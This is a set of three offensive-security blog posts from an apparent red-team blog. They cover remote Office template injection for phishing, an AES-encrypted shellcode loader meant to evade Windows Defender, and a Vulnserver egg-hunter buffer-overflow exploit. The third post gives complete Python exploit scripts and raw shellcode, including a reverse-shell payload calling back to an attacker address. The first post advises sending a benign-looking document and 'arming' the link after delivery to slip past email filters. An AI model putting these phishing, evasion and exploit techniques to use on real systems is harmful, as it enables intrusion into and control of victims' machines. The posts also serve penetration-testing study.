Normal view

There are new articles available, click to refresh the page.
Before yesterdaySevro Security

Dynamic Office Template Injection

By: Joshua
12 September 2019 at 23:00

Sevro Security
Dynamic Office Template Injection

You’ve sent your phishing email with a malicious Microsoft Office document. You pored your blood, sweat, and tears into that sexy Macro of yours. However, modern appliances can easily run that macro in a sandbox and determine if it’s evil or benign.

Sure, you could use common techniques to enumerate if you’re in a sandbox or not but, that requires more code and for the love of god, we’ve all written too much VBA as is. Or, you could encrypt the document and supply the password within the email/title but, some sandboxes have caught on to that as well or maybe the user is too lazy. Another option is to use Dynamic Office Template Injection.


Template Injection

There are some massive benefits to using template injection such as:

  • Ability to send a Docx and not a Docm
  • Macro does not “Live” within the Docx
  • Can “Hot Swap” payloads
  • Can remotely turn macros on and off

Template injection works via the following process (for the example moving forward, I will be using Microsoft Word):

  1. Build your malicious macro into a .Dotm (Microsoft Template containing a Macro).
  2. Host your .Dotm publicly via an S3 bucket, GCP Bucket, DO Space, etc.
  3. Create a .Docx document with a Microsoft Template.
  4. Unzip the .Docx and modify a single XML file
  5. Zip contents back up and change .zip to .Docx

Create the Dotm Document

Here is the Macro that we will add to the .dotm document:

Sub AutoOpen()

    Dim Execute As Variant
    Execute = Shell("calc.exe", vbNormalFocus)

End Sub

In the example case, the Macro simply opens up calc.exe, as all good malware does in its infancy. Once we have the Macro working, we make sure to save the Word Document as a .dotm.

Create and test your macro
Calc.exe Macro

Create the Docx Document

When creating the .docx document, you need to select a real Microsoft Template. I like to use a resume template as they usually do not contain images or extremely fancy formatting.

Select an office template
Select a Template

Now that we have both documents created [example.dotm, resume.docx], let’s host example.dotm on a Digital Ocean space.

Host the macro enabled template
Host the example.dotm

Get the URI to example.dotm and move back to where we have the resume.docx. If you have 7-zip, winzip, etc., right click resume.docx and select Extract Here. If successful, you will be presented with a few new folders and a single xml file as seen below.

Unzip the .docx document
After resume.docx Unzipping

Navigate to word –> _rels –> and open the settings.xml.rels in any text editor. We are going to replace the Target variables data with our example.dotm URI.

settings.xml.rels before the edit.
Before Replacement
settings.xml.rels after the edit.
After Replacement

Save settings.xml.rels and go back to the root directory of the original .docx. Select all the files/directories that were generated from the unzipping:

  • _rels
  • customXml
  • docProps
  • word
  • [Content_Types].xml

Add them all to a single .zip archive and then change the .zip suffix to a .docx suffix to complete the transformation.

Zip the contents of the docx back up
Data to be Zipped
the zip successfully completed.
After Zipping
Rename the.zip to .docx
Change .zip to .docx

The resulting resume.docx will now attempt to pull down the example.dotm template from our Digital Ocean Space each and every time it is opened. The fun part is, we can change the permissions on the example.dotm URI to be Public or Private.


Dynamic Macro Enabling/Disabling

What makes this interesting is the fact that we can change access to the example.dotm file hosted on Digital Ocean simply by making the URI Private or Public.

Resume.docx does not crash when it attempts to navigate to the non-existent example.dotm URI, it just doesn’t load a macro because there’s not one there. Simply put, it looks like any standard docx should.

When we change the example.dotm URI back to Public, and re-open resume.docx, we are presented with a macro enabled document since the URI is alive.

Disable Docx Macro:

By “disable” I simple mean change access to the URI where the .dotm document is located. If the .docx can’t find it, then there’s no macro.

Setting the remote office macro to private
Example.dotm Set to Private
Template Document disabled, no macro is loaded.
Docx Opens Normally

Enable Docx Macro:

Setting the example.dotm to Public and re-opening resume.docx will give us a macro enabled docx that opens calc.exe when we click Enable Content.

Host the Office template on w VPS
Example.dotm Set to Public
Docx loading a macro from office template.
We Get The “Enable Content” Warning
Word Macro Executing Calc.exe
Enabling Content Opens Calc.exe

Use Case

At the top of this post I outlines four (4) of the positives when using this technique. The most objective one being bypassing Email filtering by sending a truly benign docx. Yes, you risk a user opening the document without detonating your macro if they’re really motivated to open everything in their email immediately. But hell, send the phish, wait 5-7min, and arm the link.

It’s also worth noting that an attacker can easily change payloads. For example, if for some reason your initial C2 has been burned but the infection point is undetermined, you can swap out the example.dotm with one of your backup C2’s.


Similar Blog Posts

I am not the originator of this technique and nor do I claim to be. Here are some other blogs describing this same exact technique if you’re interested!

Dynamic Office Template Injection
Joshua

Bypass Windows Defender with A Simple Shell Loader

By: Joshua
25 May 2019 at 05:25

Sevro Security
Bypass Windows Defender with A Simple Shell Loader

One of the most simplistic ways to get past Windows Defender is to roll your own shell code loader. There are hundreds of examples on GitHub, GitLab, and BitBucket but, this post is going to break it down and provide a simple framework that Red Teams and Penetration Testers alike can use.

Live exploitation

This tutorial does not result in a final “tool” although, it will have complete and compilable code. I know I know, C# is not compiled, it’s JIT, but for the sake a brevity, I’m calling it compiled.


Resources

Before jumping right in, here is a list of resources that will help answer questions and concerns you may have while reading this post (AKA: I won’t define/detail every aspect of the exploit and only highlight important and kick-ass things):


Current State

Here’s my system and build information for reference.

Exploit Information:

  • Language: C#
    • .NET Framework 4.0 (Cross compile to whatever you like)
    • Visual Studio 17 (community)
  • Build Architecture: x86
  • Shell Code: MSFVenom windows/exec
    • msfvenom -a x86 -p windows/exec cmd=calc.exe -f csharp

Victim Information:

  • Windows 10 Version 1809
    • Fully Patched and Updated (5/24/2019)
    • Defender Real-Time and Online protection Enabled
    • Firewall Enabled
All of Defenders services are turned on and updated

Testing

As of writing this (5/24/2019), Windows defender client Machine Learning system is able to easily detect stock Metasploit payloads. That’s not surprising. The question I asked myself was, to what extent do I need to go to to build a standalone binary that will execute a payload without the binary being flagged as malicious?

When I say to what extent, I am talking about coding techniques and byte code obfuscation. For example, would simply Base64 encoding a byte[] object work for us? The short answer is, No.

Initial testing consisted of generating a simple calc.exe execution payload where the shell code (C# byte Array) would be loaded and executed in memory using VirtualAlloc().

After building the x86 Release exe, moving the exe to the desktop, and executing it, Defender flagged it as malicious and promptly removed the executable from the system.

Defender MessageBox
Defender Event

Looking at Event 1116 from above, it looks like Defender is flagging on the known formatting of Metasploit. Defender is saying this is a Win32 Meterpreter payload which, it’s not. Microsoft doesn’t care as long as it catches a known Metasploit byte signature. The good news is we might just be able to encode or encrypt the payload to bypass Defender.


The Bypass

Video of the actual bypass
Metasploit Shell_Reverse_TCP Example

It’s helpful to understand what we are trying to defeat. We know, initially, we are trying to defeat the Windows Defender Client Side Machine Learning (Client ML) subsystem and most 3rd party EDR and AV products. Things we want to avoid are massive Base64 strings because of their large entropy values. This will be immediately flagged by most EDR/AV products.

Other things we want to avoid are immediate shellcode execution for Windows Defender heuristic reasons. Defender and some EDR/AV products will be smart enough to remove sleep functions from your code so, depending on your Client/Target, this may or may not be an anti-forensics technique you utilize. My first thought was to have an base64 decoding and AES256 decryption routine to get the payload ready for execution. This would also delay execution by a few hundred milliseconds.

It turns out, that’s all that was needed. I have an Encrypt() and Decrypt() function in my code that utilizes AES 256. A user can encrypt and encode their data with the Simple-Loader tool to get the final shellcode encrypted blob in Base64 encoding.

Simple-Loader.exe <path_to_metasploit_payload_txt>

Generate your paylaod
Encrypt Payload Example

GitHub Repository

The repository is a quick and dirty one as this is just a simple example. However, here is a breakdown on how to use it:

  • Open the Simple-Loader.sln in Visual Studio
  • Double click Program.cs
  • Goto Build –> Build Simple-Loader
    • A new Binary will be located in simple-loader/bin/
Build the loader
Build Simple-Loader.exe for Encryption
  • Generate a payload with msfvenom and save to text file.
    • msfvenom -p windows/exec cmd=calc.exe -f csharp -o payload.txt
  • Encrypt and Encode the payload with the Simple-Loader.exe binary.
    • Simple-Loader.exe <path_to_payload>
Encrypt the payload
Generate and Encrypt Payload
  • Take the output from Simple-Loader and replace the Sting hiphop with your new payload.
Add the encrypted payload
Change hiphop String
  • Re-Build the binary and you’re good to go!

Hopefully this helps shed some light on the simplicity of bypassing Windows Defender on a fully patched system!

Cheers!

Bypass Windows Defender with A Simple Shell Loader
Joshua

Vulnserver KSTET Egg Hunter with Python3

By: Joshua
22 November 2018 at 04:37

Sevro Security
Vulnserver KSTET Egg Hunter with Python3

During my OSCP study, I went down the Buffer Overflow rabbit hole and found myself going a bit further than needed. I found out I really freaking like binary exploitation! Today, I am going to talk about Egg Hunters. Egg Hunters are used when we don’t have enough room after the EIP overwrite to execute anything worth our time (i.e., a shell, system command, etc.). An Egg Hunter is a small set of bytecode that is effectively a loop looking for a pre-defined string (that we define) in memory and when it finds that string, it will execute whatever is after. The code after our pre-defined string being our exploitation bytecode.

To put this into context, let’s say we have two FTP parameters that store data on the stack (USER, PASS). Let’s say that the PASS parameter is susceptible to a BOF attack and we can easily gain control of EIP. However, we only have maybe 20-30 bytes after the EIP overwrite to store any bytecode and that’s just not enough space to do anything useful. In comes the USER parameter. It’s not susceptible to a Buffer Overflow necessarily however, it might give us enough buffer space to store our shellcode. In this case, we would have a two-stage execution where we conduct the following:

  1. Connect to the FTP server.
  2. Send our Reverse Shell Payload in the USER parameter.
  3. Send our Egghunter plus the EIP Overwrite to JMP ESP in the PASS Parameter.

Okay, let’s dig in.

[hr]

Setup:

Here is the setup that is being used during the entire write-up:

  • [Attacker] Kali 2018.4 x86_64
  • [Victim] Windows XP SP3 Build 2600
  • [Vulnerable Binary] VulnServer
  • [Language] Python 3.6.6
  • [Debugger] Immunity

Some of you might be asking why Python 3? That’s fair since the python 3 socket library is different than the 2.7 library and that’s really why I am using it, to learn. The biggest difference you will note is that when you send your data to the server, it has to be in a byte object and not a string object whereas 2.7 doesn’t give a shit.

[hr]

Fuzzing:

Our first goal is to identify which parameters are vulnerable but since VulnServer has a few, we’re going to start with the KSTET Parameter. In order to get a better idea on how many parameters there are, below is the available listing.

VulnServer Parameters

We send 1,000 A’s (\x41) with the KSTET parameter and we see we overflow the buffer.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*1000

s.send(b"KSTET %s \r\n" % buf)

s.close()

[hr]

Controlling EIP:

Just like we do with any BOF, let’s get the offset of EIP so we can start the process of controlling EIP.

  • pattern_create.rb -l 1000

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
pattern = (b'''Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B''')

buf = b""
buf += pattern

s.send(b"KSTET %s \r\n" % buf)

s.close()

We then verify the Immunity EIP value.

EIP Offset

And use the pattern_offset to file the true offset of EIP:

  • pattern_offset.rb -q 63413363
    • Offset = 70

Now, let’s send a new payload to do two different things. The first goal is to verify we do have control of EIP by writing all B’s into EIP and the next goal is to check how much space we have after the EIP overwrite to place our shellcode. We do this by sending 600 C’s. The new code looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A"*EIP_OFFSET
buf += b"B"*4
buf += b"C"*600

s.send(b"KSTET %s \r\n" % buf)

s.close()

Immunity shows that yes, we have control of EIP as there are now 4 B’s (\x42) residing in the EIP register, however, we only have 28 Bytes of space after the EIP overwrite. As stated in the beginning of this tutorial, that’s just not enough, we need more space.

EIP Verify

Overflow Space

[hr]

Determine Bad Characters:

Before we start digging into other parameters we can place our shellcode into, let’s determine the bad characters. Here is our new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Bad Characters:
bad_chars = [0x00,0x0a]
chars = b""
for i in range(0x00,0xFF+1):
    if i not in bad_chars:
        chars += bytes([i])
with open("bad_chars.bin", "wb") as f:
    f.write(chars)

# Send data to the KSTET Parameter:
buf = b""
buf += chars
s.send(b"KSTET %s \r\n" % buf)

s.close()

In looking at the bad characters, it’s apparent that we don’t have enough space to review the whole array of bytes. As such, I conducted the overflow in three separate operations:

  • Operation 1: 0x00 – 0x60
  • Operation 2: 0x60 – 0xC0
  • Operation 3: 0xC0 – 0xFF

Bad Characters were determined to be: 0x00, 0x0A, 0x0D

[hr]

Finding JMP ESP:

Since I am using VISTA as the victim, there will be little to no protection (DEP,ASLR). That means we can just ask mona to look for the JMP ESP opcode (\xFF\xE4) and choose any of the results.

JMP ESP

I’m just going to use the first result (0x7C874F13). To make sure we have full control and are able to execute the JMP ESP instruction, let’s restart the vulnserver in Immunity and set a break point at the address. Here is the new code:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
buf = b""
buf += b"A" * EIP_OFFSET
buf += JMP_ESP
s.send(b"KSTET %s \r\n" % buf)

s.close()

And we have a successful JMP ESP.

Breakpoint Hit

[hr]

Building the Egghunter:

Okay, we know that we only have about 28 Bytes after the EIP overflow to work with. That wont fit our egghunter byte code. In that case, we will inject our egghunter before the EIP overwrite and then add the instruction JMP SHORT -48 after the EIP overwrite to jump back to our egghunter. What we need to figure out now is which parameter can successfully take an input of about 350-450 bytes of data and not throw an exception or overflow the buffer. Let’s build a fuzzing script to do that for us.

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# Send data to the KSTET Parameter:
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"GTER",b"HTER",b"LTER",b"KSTAN"]

for i in range(0,len(parameters)):
    print("[+] Sending %s"% str(parameters[i]))
    buf = b""
    buf += parameters[i]
    buf += b" "
    buf += b"A" * 500
    s.send(b"%s\r\n" % buf)
    time.sleep(1)

Right away, we find that the GTER parameter causes an overflow. Let’s remove that and test again.  After the second test, we see that the rest of the parameters ran successfully without causing an overflow or an exception. This means that maybe, we can store our shellcode in one of these parameters and have the egghunter find it in memory. Now that we know the parameters, let’s add this to our script and build a two payload program.

To generate the egghunter code, we will use mona.

!mona egg -cpb "\x00\x0a\x0d" -t loki

Generate Egghunter

The image above shows our shellcode. The generated shellcode will also be listed in an egghunter.txt document located at C:/Program Files/Immunity Inc/Immunity Debugger.

Now let’s generate some shellcode. For testing, I am just going to send the command calc.exe. The syntax to generate this shellcode is:

msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f c

Our new script looks like this:

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xce\xba\x5b\x24\x91\xbf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x31\x83\xef\xfc\x31\x57\x14\x03\x57\x4f\xc6\x64\x43\x87\x84"
"\x87\xbc\x57\xe9\x0e\x59\x66\x29\x74\x29\xd8\x99\xfe\x7f\xd4"
"\x52\x52\x94\x6f\x16\x7b\x9b\xd8\x9d\x5d\x92\xd9\x8e\x9e\xb5"
"\x59\xcd\xf2\x15\x60\x1e\x07\x57\xa5\x43\xea\x05\x7e\x0f\x59"
"\xba\x0b\x45\x62\x31\x47\x4b\xe2\xa6\x1f\x6a\xc3\x78\x14\x35"
"\xc3\x7b\xf9\x4d\x4a\x64\x1e\x6b\x04\x1f\xd4\x07\x97\xc9\x25"
"\xe7\x34\x34\x8a\x1a\x44\x70\x2c\xc5\x33\x88\x4f\x78\x44\x4f"
"\x32\xa6\xc1\x54\x94\x2d\x71\xb1\x25\xe1\xe4\x32\x29\x4e\x62"
"\x1c\x2d\x51\xa7\x16\x49\xda\x46\xf9\xd8\x98\x6c\xdd\x81\x7b"
"\x0c\x44\x6f\x2d\x31\x96\xd0\x92\x97\xdc\xfc\xc7\xa5\xbe\x6a"
"\x19\x3b\xc5\xd8\x19\x43\xc6\x4c\x72\x72\x4d\x03\x05\x8b\x84"
"\x60\xf9\xc1\x85\xc0\x92\x8f\x5f\x51\xff\x2f\x8a\x95\x06\xac"
"\x3f\x65\xfd\xac\x35\x60\xb9\x6a\xa5\x18\xd2\x1e\xc9\x8f\xd3"
"\x0a\xaa\x4e\x40\xd6\x03\xf5\xe0\x7d\x5c")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

The script is broken down into two different stages. Each stage generates a new socket call to the vulnerable server, this is important. Also, take note to the Stage 1 s.send(). You can see I have added the b"lokiloki" to it. This is the string that the egghunter is going to look for in memory. When you generate the egg hunter with mona and read the .txt file it generates, it will explicitly tell you what text to put there. Let’s break down what is happening at each stage.

Stage 1:

In stage one, we connect to the vulnerable server and start a for loop. The for loop loops through the parameters array using each value to send the shellcode payload. We don’t know which parameter will truly hold our shellcode so hell, why not try them all! And that’s effectively what we are doing here. It’s also important to note that a 1-second time delay is necessary at the end of each loop iteration. Without that one second time delay, we outpace the server and never give it a chance to take action on the command we just sent.

Stage 2:

Stage two is where the real magic happens. We create a new socket and connect to the vulnerable server once again. This time, we send the egghunter between two sets of NOP’s, overwrite the EIP register with our JMP ESP instruction memory address, and then we have a custom instruction we wrote (\xEB\xCE) that’s loaded into the stack per our overflow and executed after the JMP ESP instruction. Let’s take a look at this instruction and why we have it in our payload.

Our egghunter shellcode is still a bit too big to be loaded after the JMP ESP. However, we know we have a total of 70 bytes before the EIP overwrite and therefore we can use that space to store our egghunter and then jump back to it with a custom instruction. In this case, I want to jump back 48 Bytes to the middle of our first NOP sled. We can use the nasm_shell.rb to give us the correct opcode to use as seen in the image below.

NASM

Let’s put a breakpoint in Immunity at our JMP ESP and step through what is going on here.

JMP SHORT -48

When we hit our breakpoint we jumped forward 1 instruction (F7) to get to our JMP SHORT instruction highlighted in blue in the leftmost image. When we move forward again (1 instruction) we see we jump to a lower memory address putting us 4 NOP Bytes before our egghunter. Perfect!

The egghunter is going to start a loop looking for the lokiloki string in memory in an attempt to find our shellcode and execute it. If we let the rest of the code run it’s course, we get calc.exe to pop and we know we have full code execution!

calc.exe

[hr]

Reverse Shell:

Now that we have a fully working exploit, let’s resplace the calc.exe shellcode with a reverse shell and see what happens.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.136 LPORT=443 -b'\x00\x0a\x0d' -f c

import socket
import struct
import time

IP = '192.168.56.130'
PORT = 9999
EIP_OFFSET = 70
JMP_ESP = struct.pack("I", 0x7C874F13)          # FFE4  JMP ESP
#JMP_ESP = b"\x13\x4F\x87\x7C"
#print(JMP_ESP)

# Connect to the Server:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))

# STAGE 1: Send The Shellcode
parameters = [b"STATS",b"RTIME",b"LTIME",b"SRUN",b"TRUN",b"GMON",b"GDOG",b"HTER",b"LTER",b"KSTAN"]

shellcode = (b"\xda\xc7\xd9\x74\x24\xf4\xb8\xca\x84\x12\x1c\x5a\x33\xc9\xb1"
"\x52\x31\x42\x17\x83\xc2\x04\x03\x88\x97\xf0\xe9\xf0\x70\x76"
"\x11\x08\x81\x17\x9b\xed\xb0\x17\xff\x66\xe2\xa7\x8b\x2a\x0f"
"\x43\xd9\xde\x84\x21\xf6\xd1\x2d\x8f\x20\xdc\xae\xbc\x11\x7f"
"\x2d\xbf\x45\x5f\x0c\x70\x98\x9e\x49\x6d\x51\xf2\x02\xf9\xc4"
"\xe2\x27\xb7\xd4\x89\x74\x59\x5d\x6e\xcc\x58\x4c\x21\x46\x03"
"\x4e\xc0\x8b\x3f\xc7\xda\xc8\x7a\x91\x51\x3a\xf0\x20\xb3\x72"
"\xf9\x8f\xfa\xba\x08\xd1\x3b\x7c\xf3\xa4\x35\x7e\x8e\xbe\x82"
"\xfc\x54\x4a\x10\xa6\x1f\xec\xfc\x56\xf3\x6b\x77\x54\xb8\xf8"
"\xdf\x79\x3f\x2c\x54\x85\xb4\xd3\xba\x0f\x8e\xf7\x1e\x4b\x54"
"\x99\x07\x31\x3b\xa6\x57\x9a\xe4\x02\x1c\x37\xf0\x3e\x7f\x50"
"\x35\x73\x7f\xa0\x51\x04\x0c\x92\xfe\xbe\x9a\x9e\x77\x19\x5d"
"\xe0\xad\xdd\xf1\x1f\x4e\x1e\xd8\xdb\x1a\x4e\x72\xcd\x22\x05"
"\x82\xf2\xf6\x8a\xd2\x5c\xa9\x6a\x82\x1c\x19\x03\xc8\x92\x46"
"\x33\xf3\x78\xef\xde\x0e\xeb\xd0\xb7\x28\x63\xb8\xc5\x48\x72"
"\x82\x43\xae\x1e\xe4\x05\x79\xb7\x9d\x0f\xf1\x26\x61\x9a\x7c"
"\x68\xe9\x29\x81\x27\x1a\x47\x91\xd0\xea\x12\xcb\x77\xf4\x88"
"\x63\x1b\x67\x57\x73\x52\x94\xc0\x24\x33\x6a\x19\xa0\xa9\xd5"
"\xb3\xd6\x33\x83\xfc\x52\xe8\x70\x02\x5b\x7d\xcc\x20\x4b\xbb"
"\xcd\x6c\x3f\x13\x98\x3a\xe9\xd5\x72\x8d\x43\x8c\x29\x47\x03"
"\x49\x02\x58\x55\x56\x4f\x2e\xb9\xe7\x26\x77\xc6\xc8\xae\x7f"
"\xbf\x34\x4f\x7f\x6a\xfd\x7f\xca\x36\x54\xe8\x93\xa3\xe4\x75"
"\x24\x1e\x2a\x80\xa7\xaa\xd3\x77\xb7\xdf\xd6\x3c\x7f\x0c\xab"
"\x2d\xea\x32\x18\x4d\x3f")

for i in range(0,len(parameters)):
    s.send(parameters[i] + b" " + b"lokiloki" + shellcode + b"\r\n")
    print(s.recv(1024))
    time.sleep(1)
s.close()

# STAGE 2: Send the Egghunter Code in the Overflow
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x6c\x6f\x6b\x69\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


buf = b"\x90"*30
buf += egghunter
buf += b"\x90" * ((EIP_OFFSET-len(egghunter)-30))
buf += JMP_ESP
buf += b"\xEB\xCE"          # Jump Back 50 Bytes for egghunter shellcode
buf += b"C" * 200
s.send(b"KSTET " + buf + b"\r\n")
print(s.recv(1024))

s.close()

And, we’re Admin!

Admin Shell

[hr]

Thoughts on Python3:

I decided to use Python3 for this tutorial because I use it for just about everything. That is, with the exception of exploit development. Python 2.7 is my goto for Buffer Overflow development and honestly, I think I am going to keep that the same. The subtle buy annoying nuances of making sure everything was typecast to a bytes object sucked. Many times the objects would be sent oddly and not trigger the right response I was looking for. Python 2.7 allows strings in the s.send() method which, makes things much easier to deal with.

Anyhow, Python3 is still amazing and I will use it as my daily driver, with the exception of BOF exploit development!

Happy Thanksgiving!

Vulnserver KSTET Egg Hunter with Python3
Joshua

❌
❌